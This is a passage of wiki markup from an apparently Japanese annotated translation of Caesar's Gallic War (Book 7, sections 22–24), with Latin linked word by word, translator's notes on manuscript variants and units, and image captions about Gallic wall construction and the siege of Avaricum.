*atque has [[wikt:en:corium#Latin|coriis]] [[wikt:en:intexerant#Latin|intexerant]]. 
**これらを皮革で覆っていた。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Tum [[wikt:en:creber#Latin|crebris]] [[wikt:en:diurnus#Latin|diurnis]] [[wikt:en:nocturnus#Latin|nocturnis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:eruptio#Latin|eruptionibus]] 
**それから、たびたび昼間も夜間も出撃して、
*aut [[wikt:en:agger#Latin|aggeri]] [[wikt:en:ignis#Latin|ignem]] [[wikt:en:inferebant#Latin|inferebant]] 
**あるいは土塁に火災を引き起こしたり、
*aut [[wikt:en:miles#Latin|milites]] [[wikt:en:occupatus#Latin|occupatos]] in [[wikt:en:opus#Latin|opere]] [[wikt:en:adoriebantur#Latin|adoriebantur]], 
**あるいは工事に従事している&lt;small&gt;（ローマ人）&lt;/small&gt;兵士たちを襲撃したりした。
[[画像:University_of_Queensland_Pitch_drop_experiment-white_bg.jpg|thumb|right|200px|&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の滴下実験の様子（豪州[[w:クイーンズランド大学|クイーンズランド大学]]）。[[w:木材|木材]]を密閉加熱すると[[w:木炭|木炭]]が得られるが、その残り物から[[w:乾留液#木タール|木タール]]を[[w:蒸留|蒸留]]させた残り&lt;ruby&gt;&lt;rb&gt;滓&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かす&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;がピッチである。樹木から得られるピッチは、黒色で[[w:粘度|粘っこく]]、高温で燃焼する。中世ヨーロッパでは城砦の防衛に使用され、城壁に近づく敵の上から熱したピッチを注いで焼死させたりしたという（[[w:fr:Poix (matière)|fr:poix]]）。]]
*et nostrarum [[wikt:en:turris#Latin|turrium]] [[wikt:en:altitudo#Latin|altitudinem]], 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;の[[w:攻城塔|攻城櫓]]の高さを、
*[[wikt:en:quantum#Latin|quantum]] has [[wikt:en:cotidianus#Latin|cotidianus]] agger [[wikt:en:expresserat#Latin|expresserat]], 
**毎日のようにこれらを&lt;small&gt;（ローマ側の）&lt;/small&gt;土塁が押し出した分だけ、
*[[wikt:en:commissus#Latin|commissis]] suarum [[wikt:en:turris#Latin|turrium]] [[wikt:en:malus#Noun_5|malis]] [[wikt:en:adaequabant#Latin|adaequabant]], 
**自分たち&lt;small&gt;〔ガッリア勢〕&lt;/small&gt;の櫓を、柱を組み立てることにより、&lt;small&gt;（ローマ側の櫓の高さと）&lt;/small&gt;等しくしようとした。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; et [[wikt:en:apertus#Latin|apertos]] [[wikt:en:cuniculus#Latin|cuniculos]] 
**&lt;small&gt;（ローマ勢が掘削した）&lt;/small&gt;坑道の露出したところを
*[[wikt:en:praeustus#Latin|praeusta]] et [[wikt:en:praeacutus#Latin|praeacuta]] [[wikt:en:materia#Latin|materia]] 
**先端を焼いて尖らせた木材や、
*et [[wikt:en:pix#Latin|pice]] [[wikt:en:fervefactus#Latin|fervefacta]] 
**熱した&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：pix は&lt;ruby&gt;&lt;rb&gt;[[w:歴青|瀝青]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れきせい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と訳されることもあるが、とくに[[w:ピッチ (樹脂)|ピッチ]]を指す&lt;ref&gt;[https://kotobank.jp/word/%E6%9C%A8%E3%81%9F%E3%83%BC%E3%82%8B-3173189 木タール] などを蒸留したあとに残る黒色の物質。&lt;/ref&gt;。&lt;br&gt;　　　　[[w:歴青|瀝青]]は「ビチューメン」ともいい、ラテン語の [[wikt:en:bitumen#Latin|bitūmen]] に由来する。&lt;br&gt;　　　　[[w:ピッチ (樹脂)|ピッチ]]（[[w:en:Pitch (resin)|Pitch]]）は、ラテン語の [[wikt:en:pix#Latin|pix]] に由来する。）&lt;/span&gt;
*et [[wikt:en:maximus#Latin|maximi]] [[wikt:en:pondus#Latin|ponderis]] [[wikt:en:saxum#Latin|saxis]] [[wikt:en:morabantur#Etymology_1|morabantur]] 
**たいへんな重さの岩石で、&lt;small&gt;（ローマ勢の掘削を）&lt;/small&gt;滞らせたり、
*[[wikt:en:moenia#Latin|moenibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:adpropinquo#Latin|adpropinquare]] [[wikt:en:prohibebant#Latin|prohibebant]].
**&lt;small&gt;（ローマ勢が）&lt;/small&gt;城壁に接近することを&lt;small&gt;（ガッリア勢が）&lt;/small&gt;妨げたりしていた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
===23節===
{{Commons|Category:Murus gallicus|Murus gallicus}}
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/23節]]　{{進捗|00%|2026-06-14}}&lt;/span&gt;

;ガッリア式城壁の構造
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:murus#Latin|Muri]] autem omnes [[wikt:en:Gallicus#Latin|Gallici]] hac fere [[wikt:en:forma#Latin|forma]] sunt. 
**ところで、ガッリアの&lt;ruby&gt;&lt;rb&gt;城壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ムルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;のすべては、ほぼ以下のような形態である。
:　
;　　　木材を2ペースずつ等間隔で離して、ずっと並べていく
*&lt;u&gt;Trabes&lt;/u&gt; [[wikt:en:derectus#Latin|derectae]] [[wikt:en:perpetuus#Latin|perpetuae]] &lt;u&gt;in longitudinem&lt;/u&gt; 
**&lt;u&gt;&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;/u&gt;が&lt;small&gt;（城壁の）&lt;/small&gt;&lt;u&gt;&lt;ruby&gt;&lt;rb&gt;長手方向&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ロンギトゥードー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;/u&gt;に、&lt;small&gt;（垂直に）&lt;/small&gt;真っ直ぐに、ずっと続いて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:trabs#Latin|trabes]] は、とくに梁のような水平材を指していると思われる。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in [[wikt:en:longitudo#Latin|longitudinem]] は、ここでは、城壁に沿った長手方向を指す。）&lt;/span&gt;
[[画像:Murus gallicus de Lyon Fourvière - Maquette de Nicolas Hirsch - Service Archéologique de la Ville de Lyon - Détail structure.jpg|thumb|right|300px|ガッリア式城壁の[[w:ジオラマ|ジオラマ]]（仏[[w:リヨン|リヨン市]]考古学局）。木材を約60cmの間隔で並べる。]]
*[[wikt:en:par#Latin|paribus]] [[wikt:en:intervallum#Latin|intervallis]], [[wikt:en:distans#Latin|distantes]] inter se [[wikt:en:binus#Latin|binos]] [[wikt:en:pes#Latin|pedes]], 
**等間隔で、互いに2&lt;u&gt;ペース&lt;/u&gt;ずつ離れて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、2ペースは約60 cm弱。）&lt;/span&gt;
*in [[wikt:en:solum#Latin|solo]] [[wikt:en:conlocantur#Latin|conlocantur]]. 
**&lt;ruby&gt;&lt;rb&gt;地面&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ソルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に配置される。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：右の画像を参照。）&lt;/span&gt;
:　
;　　　木材をつなぎ合わせ、土砂を埋めて、石材をかぶせる
[[画像:2018 Rheinisches Landesmuseum Trier, Keltischer Wehrmauer.jpg|thumb|right|300px|同じく城壁のジオラマ（独[[w:トリーア|トリーア市]]）。]]
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:hae#Latin|Hae]] [[wikt:en:revinciuntur#Latin|revinciuntur]] [[wikt:en:introrsus#Latin|introrsus]] 
**これら&lt;small&gt;〔木材〕&lt;/small&gt;は、内側で緊結されて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：明瞭な説明ではなく、肝心な記述が欠落している。&lt;br&gt;　　　　上記の2ペースずつ等間隔で並べられた平行な木材は、&lt;br&gt;　　　　節末で述べられるような40ペースの長い木材によって&lt;br&gt;　　　　井桁状に組み合わされて、鉄の釘で固定されたようである。&lt;br&gt;　　　　右上と右のジオラマの画像を参照。）&lt;/span&gt;
*et [[wikt:en:multus#Latin|multo]] [[wikt:en:agger#Latin|aggere]] [[wikt:en:vestiuntur#Latin|vestiuntur]]; 
**多くの&lt;ruby&gt;&lt;rb&gt;土砂&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で覆われる。
*ea autem, quae [[wikt:en:diximus#Verb|diximus]], [[wikt:en:intervallum#Latin|intervalla]] 
**さらに、前述した&lt;small&gt;（2ペースの）&lt;/small&gt;間隔には、
*[[wikt:en:grandis#Latin|grandibus]] in [[wikt:en:frons#Latin:_forehead|fronte]] [[wikt:en:saxum#Latin|saxis]] &lt;u&gt;efferciuntur&lt;/u&gt;. 
**前面に大きな&lt;ruby&gt;&lt;rb&gt;石塊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;サクスム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が詰め込まれる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;rho;系写本･写本V では [[wikt:en:efferciuntur#Latin|efferciuntur]] と表記され、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本･写本T では [[wikt:en:effarciuntur#Latin|effarciuntur]] と表記されるが、&lt;br&gt;　　　　　　　　　[[w:母音弱化|母音弱化]]の語形である前者の方が、共和制末期のカエサルが用いたと考えられる。）&lt;/span&gt;
[[画像:Keltenmauer.gif|thumb|right|280px|ガッリア式城壁の構成図（上が側面、中が上面、下が前面）。木材を水平な井桁状に並べて[[w:釘|釘]]で緊結し、土砂で覆って何層にも重ね、前面には石をはめ込む。井桁状の骨組によって[[w:破城槌|破城槌]]など横からの力（水平荷重）に耐えられるように工夫されている。]]
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; His [[wikt:en:conlocatus#Latin|conlocatis]] et [[wikt:en:coagmentatus#Latin|coagmentatis]] 
**&lt;u&gt;これら&lt;/u&gt;が配置されて結び合わされると、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&lt;u&gt;これら&lt;/u&gt; とは、上述の木材や石材のこと。）&lt;/span&gt;
*alius [[wikt:en:insuper#Latin|insuper]] [[wikt:en:ordo#Latin|ordo]] [[wikt:en:additur#Latin|additur]], 
**上に別の&lt;ruby&gt;&lt;rb&gt;階層&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オルドー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が付け加えられる。
*ut idem illud [[wikt:en:intervallum#Latin|intervallum]] [[wikt:en:servetur#Latin|servetur]], 
**その同じ&lt;small&gt;（2ペースの）&lt;/small&gt;間隔が保たれて、
*neque inter se [[wikt:en:contingant#Latin|contingant]] [[wikt:en:trabs#Latin|trabes]], 
**かつ&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が互いに接触しないように、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：上下の層の水平材どうしが接触しないように、&lt;br&gt;　　　　互い違いに並べているようである。）&lt;/span&gt;
*sed [[wikt:en:par#Latin|paribus]] [[wikt:en:intermissus#Latin|intermissae]] [[wikt:en:spatium#Latin|spatiis]] [[wikt:en:singulus#Latin|singulae]] 
**けれども、等間隔で間をあけられたそれぞれ&lt;small&gt;（の木材）&lt;/small&gt;は、
*[[wikt:en:singulus#Latin|singulis]] [[wikt:en:saxum#Latin|saxis]] [[wikt:en:interiectus#Latin|interiectis]] 
**それぞれの&lt;ruby&gt;&lt;rb&gt;石塊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;サクスム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が間に挟まれることによって、
*[[wikt:en:arte#Adverb|arte]] [[wikt:en:contineantur#Latin|contineantur]]. 
**緊密に連結される。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Sic [[wikt:en:deinceps#Latin|deinceps]] omne [[wikt:en:opus#Latin|opus]] [[wikt:en:contexitur#Latin|contexitur]], [[wikt:en:dum#Latin|dum]] [[wikt:en:iustus#Latin|iusta]] [[wikt:en:murus#Latin|muri]] [[wikt:en:altitudo#Latin|altitudo]] [[wikt:en:expleatur#Latin|expleatur]]. 
**このように、&lt;ruby&gt;&lt;rb&gt;城壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ムルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の十分な高さが満たされるまで、すべての&lt;ruby&gt;&lt;rb&gt;工作物&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が続けて組み立てられる。
[[画像:Bibracte_murus_gallicus1.jpg|thumb|right|300px|ガッリア式城壁の[[w:ジオラマ|ジオラマ]]（仏[[w:ビブラクテ|ビブラクテ]]遺跡のケルト文明博物館）。この構造形式はカエサルの記述から「[[w:ムルス・ガリクス|ムルス・ガリクス]]（ガッリア壁）」と呼ばれるが、ガッリアに限らず、[[w:鉄器時代|鉄器時代]]末期すなわちBC1世紀頃の後期[[w:ラ・テーヌ文化|ラ・テーヌ文化]]が及んだ各地に遺構として残る。木材どうしを緊結するために数百トンもの[[w:鉄|鉄]]の[[w:釘|釘]]を用いているのが大きな特徴で、[[w:鉄#製錬|製鉄]]・[[w:鋳造|鋳造]]技術の発達を示す。]]
:　
;　　　ガッリア式城壁は、外観が見事で、城塞都市の防御にも有益
:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以下、cum ～ tum … の構文「～だけでなく、また…でもある」。）&lt;/span&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Hoc &lt;u&gt;cum&lt;/u&gt; in [[wikt:en:species#Latin|speciem]] [[wikt:en:varietas#Latin|varietatem]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:opus#Latin|opus]] [[wikt:en:deformis#Latin|deforme]] non est [[wikt:en:alternus#Latin|alternis]] [[wikt:en:trabs#Latin|trabibus]] ac [[wikt:en:saxum#Latin|saxis]], 
**&lt;ruby&gt;&lt;rb&gt;この&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ホク&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;工作物&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は、互い違いの&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;石塊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;サクスム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;により、変化に富む外観において不格好でなく、
*quae [[wikt:en:rectus#Latin|rectis]] [[wikt:en:linea#Latin|lineis]] suos [[wikt:en:ordo#Latin|ordines]] [[wikt:en:servant#Latin|servant]], 
**──それら&lt;small&gt;〔木材と石〕&lt;/small&gt;は真っ直ぐな線により、その&lt;ruby&gt;&lt;rb&gt;階層&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オルドー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を保っているのだが──
*&lt;u&gt;tum&lt;/u&gt; ad [[wikt:en:utilitas#Latin|utilitatem]] et [[wikt:en:defensio#Latin|defensionem]] [[wikt:en:urbs#Latin|urbium]] 
**同様に、都市の防御の有益性のためにも、
*summam [[wikt:en:habet#Latin|habet]] [[wikt:en:opportunitas#Latin|opportunitatem]], 
**きわめて好都合となっている。
*quod et ab [[wikt:en:incendio#Latin|incendio]] [[wikt:en:lapis#Latin|lapis]] et ab [[wikt:en:aries#Latin|ariete]] [[wikt:en:materia#Latin|materia]] [[wikt:en:defendit#Latin|defendit]], 
**──というのは、&lt;ruby&gt;&lt;rb&gt;石材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ラピス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が火災からも、&lt;ruby&gt;&lt;rb&gt;材木&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;マーテリア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;[[w:破城槌|破城槌]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はじょうつい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;からも、防護しており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et ～ et …「～でもあり、…でもある」）&lt;/span&gt;
*quae [[wikt:en:perpetuus#Latin|perpetuis]] [[wikt:en:trabs#Latin|trabibus]] [[wikt:en:pes#Latin|pedes]] [[wikt:en:quadragenus#Latin|quadragenos]] [[wikt:en:plerumque#Adverb|plerumque]] [[wikt:en:introrsus#Latin|introrsus]] [[wikt:en:revinctus#Latin|revincta]] 
**それ&lt;small&gt;〔短手方向の材木〕&lt;/small&gt;は、たいてい40&lt;u&gt;ペース&lt;/u&gt;にわたって&lt;small&gt;（長手方向に）&lt;/small&gt;続く&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;により内部で緊結されており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、40ペースは約12メートル。）&lt;/span&gt;
*neque [[wikt:en:perrumpi#Latin|perrumpi]] neque [[wikt:en:distrahi#Latin|distrahi]] potest.
**突破されることも、引きはがされることもできないからである。──
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===24節===
[[画像:Avaricum_westpoint_july_2006.jpg|thumb|right|350px|[[w:アウァリクム包囲戦|アウァーリクム攻略戦]]の[[w:ジオラマ|ジオラマ]]&lt;small&gt;（[[w:陸軍士官学校 (アメリカ合衆国)|米国陸軍士官学校]]博物館）&lt;/small&gt;。ローマ軍の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は、城壁（奥）の手前に材木と土砂を積み重ねた構築物が築き上げられ、左右の土手道をそれぞれ4層の[[w:攻城塔|攻城櫓]]が城壁に迫る。土塁の周辺には&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（vinea）を多数つないだ通路（坑道）が延びている。手前には2台の&lt;ruby&gt;&lt;rb&gt;投射機&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が見える。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/24節]]　{{進捗|00%|2026-06-15}}&lt;/span&gt;
;ローマ勢が徹夜の土塁工事、籠城ガッリア勢の攻勢
:　
;　　　ローマ勢が、25日間で大がかりな攻城設備を構築する
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His [[wikt:en:tot#Latin|tot]] rebus [[wikt:en:impeditus#Latin|impedita]] [[wikt:en:oppugnatio#Latin|oppugnatione]] 
**これら多くの事情により攻囲が妨げられて、
*[[wikt:en:miles#Latin|milites]], 
**兵士たちは、
*cum [[wikt:en:totus#Etymology_1|toto]] tempore &lt;u&gt;luto&lt;/u&gt; [[wikt:en:frigus#Latin|frigore]] et [[wikt:en:adsiduus#Latin|adsiduis]] [[wikt:en:imber#Latin|imbribus]] &lt;u&gt;tardarentur&lt;/u&gt;, 
**常時、&lt;ruby&gt;&lt;rb&gt;&lt;u&gt;泥土&lt;/u&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ルトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、寒さと絶え間ない&lt;ruby&gt;&lt;rb&gt;雨嵐&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;イムベル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;によって遅らせられていたが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:lutum#Latin|luto]] は、&amp;beta;系写本の記述で、&lt;br&gt;　　　　　　　　　　　　&amp;alpha;系写本にはない。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の二つ目は、&lt;br&gt;　　　　　　　　&amp;chi;系･&amp;beta;系写本では [[wikt:en:tardarentur#Latin|tardarentur]] だが、&lt;br&gt;　　　　　　　　写本B･M･Sでは traderentur、&lt;br&gt;　　　　　　　　写本L･Nでは terrerentur などとなっている。）&lt;/span&gt;
*tamen [[wikt:en:continens#Adjective|continenti]] [[wikt:en:labor#Latin|labore]] omnia haec [[wikt:en:superaverunt#Latin|superaverunt]] 
**しかしながら、絶え間ない労働によってこれらすべてに打ち克って、
*et diebus XXV&lt;small&gt; ([[wikt:en:quinque#Latin|quinque]] et [[wikt:en:viginti#Latin|viginti]])&lt;/small&gt; 
**25日間で、
*[[wikt:en:agger#Latin|aggerem]] [[wikt:en:latus#Latin:_wide|latum]] [[wikt:en:pes#Latin|pedes]] CCCXXX&lt;small&gt; ([[wikt:en:trecenti#Latin|trecenti]] [[wikt:en:triginta#Latin|triginta]])&lt;/small&gt;, [[wikt:en:altus#Latin|altum]] pedes LXXX&lt;small&gt; ([[wikt:en:octoginta#Latin|octoginta]])&lt;/small&gt; [[wikt:en:exstruxerunt#Latin|exstruxerunt]]. 
**幅330&lt;u&gt;ペース&lt;/u&gt;、高さ80&lt;u&gt;ペース&lt;/u&gt;の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を築き上げた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、幅330ペースは約98メートル。高さ80ペースは約24メートル。）&lt;/span&gt;
:　
;　　　アウァーリクムに籠城するガッリア勢が、攻囲するローマ勢の土塁に夜襲をしかける
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Cum is [[wikt:en:murus#Latin|murum]] hostium paene [[wikt:en:contingeret#Latin|contingeret]], 
**それ&lt;small&gt;〔ローマ側の土塁〕&lt;/small&gt;が敵の城壁にほとんど接しようとしていたとき、
*et Caesar ad [[wikt:en:opus#Latin|opus]] [[wikt:en:consuetudo#Latin|consuetudine]] [[wikt:en:excubaret#Latin|excubaret]] 
**かつ、カエサルが習慣により作業のそばで寝ずの番をしていて、
*[[wikt:en:miles#Latin|milites]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:hortaretur#Latin|hortaretur]], ne [[wikt:en:aliquod#Latin|quod]] [[wikt:en:omnino#Latin|omnino]] [[wikt:en:tempus#Latin|tempus]] ab [[wikt:en:opus#Latin|opere]] [[wikt:en:intermitteretur#Latin|intermitteretur]], 
**いかなる時も作業がまったく中断されないように、と兵士たちを励ましていたときに、
*paulo ante tertiam [[wikt:en:vigilia#Latin|vigiliam]] 
**第三夜警時の少し前に、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：第三夜警時は、真夜中から日の出までの時間帯の前半。「未明」&lt;br&gt;　　　　[[古代ローマの不定時法#夜警時|#夜警時]] を参照。）&lt;/span&gt;
*est [[wikt:en:animadversus#Participle|animadversum]] [[wikt:en:fumo#Latin|fumare]] [[wikt:en:agger#Latin|aggerem]], 
**土塁に煙が上がっていることが気付かれた。
*quem [[wikt:en:cuniculus#Latin|cuniculo]] hostes [[wikt:en:succenderant#Latin|succenderant]]; 
**&lt;small&gt;（その土塁を）&lt;/small&gt;[[w:坑道|坑道]]によって敵たちが焼き討ちしていたものである。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:idem#Latin|eodem]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:tempus#Latin|tempore]] 
**そして同時に、
*[[wikt:en:totus#Latin|toto]] [[wikt:en:murus#Latin|muro]] [[wikt:en:clamor#Latin|clamore]] [[wikt:en:sublatus#Latin:_raised|sublato]], 
**&lt;small&gt;（アウァーリクムの）&lt;/small&gt;城壁全体で雄叫びが上がって、
*duabus portis ab [[wikt:en:uterque#Latin|utroque]] [[wikt:en:latus#Latin:_side|latere]] [[wikt:en:turris#Latin|turrium]] 
**二つの城門より、&lt;small&gt;（ローマ勢の）&lt;/small&gt;[[w:攻城塔|攻城櫓]]の両方の側面から
*[[wikt:en:eruptio#Latin|eruptio]] [[wikt:en:fiebat#Latin|fiebat]].
**&lt;small&gt;（ガッリア勢による）&lt;/small&gt;突撃がなされていた。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Alii [[wikt:en:fax#Latin|faces]] atque [[wikt:en:aridus#Latin|aridam]] &lt;u&gt;materiam&lt;/u&gt; de [[wikt:en:murus#Latin|muro]] in [[wikt:en:agger#Latin|aggerem]] [[wikt:en:eminus#Latin|eminus]] [[wikt:en:iaciebant#Latin|iaciebant]], 
**&lt;small&gt;（ガッリア勢の）&lt;/small&gt;他の者たちは、&lt;ruby&gt;&lt;rb&gt;[[w:たいまつ|松明]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たいまつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;および乾いた材木を、城壁から&lt;small&gt;（ローマ側の）&lt;/small&gt;土塁に、遠くから投げ込んで、
